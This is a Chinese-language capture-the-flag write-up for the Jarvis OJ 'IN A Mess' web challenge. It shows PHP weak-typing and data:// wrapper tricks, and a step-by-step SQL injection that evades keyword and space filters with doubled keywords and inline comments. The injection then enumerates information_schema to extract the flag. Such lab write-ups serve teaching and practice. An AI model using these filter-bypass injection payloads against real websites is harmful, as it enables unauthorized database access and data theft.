Jarvis OJ web部分_IN A Mess
题目链接:http://web.jarvisoj.com:32780/
打开题目,之后在注释中发现提示,index.phps
之后访问之得到源码。
接下来一步一步分析。
if(!$_GET['id']) //这里如果$_GET['id']返回的值为0,则将跳转到index.php?id=1这个页面,所以传入的id不能为0
{
header('Location: index.php?id=1');
exit();
}
if(stripos($a,'.')) //这里a中不能有'.'出现
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r'); //这里可以用PHP伪协议data://text/plain对data直接赋值
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
这里的id=0与上面的id不能为0冲突了,但是这里可以用php弱类型,传入id=0ex使条件成立
传入的b要大于5五位数,传入的第一个字符不能为4,并且将第一个字符拼接在114的后面在和1114比较。
require("flag.txt");
}
值的注意的是,eregi函数是进行正则匹配的,所以可以利用正则匹配的规则,将b的第一个字符串设置为.
或*
或?
,都可以满足条件。
综上,这里的payload可以为:
index.php?id=0e0&a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==&b=.400000
提交后,得到
天真的我以为已经成功了,便花式提交flag,但无论怎么提交都不行。
于是注意到了come on,就试试访问了^HT2mCpcvOLf
这个页面,果然,坑爹啊!
还藏着sql注入。。。
那就注入试试吧。
经过万般测试,过滤了union,select,from,/**/,–+,空格
还留着#并且union和select可以双写代替,空格可以用/*anthing*/代替
之后正式开始注入。
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1# 报错
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2# 报错
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,3# 回显3
说明注入位置在3的位置
接下来爆库名:
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(database())# 回显test
爆表名:
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(table_name)/*s*/frofromm/*s*/information_schema.tables/*s*/where/*s*/table_schema=database()# 回显content
爆列名:
这里表名用16进制表示
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(column_name)/*s*/frofromm/*s*/information_schema.columns/*s*/where/*s*/table_name=0x636f6e74656e74# 回显id,context,title
猜测flag应该在context这个列中
爆数据:
?id=0/*s*/ununionion/*ss*/selselectect/*ss*/1,2,group_concat(context)/*s*/frofromm/*s*/content#
最后得到flag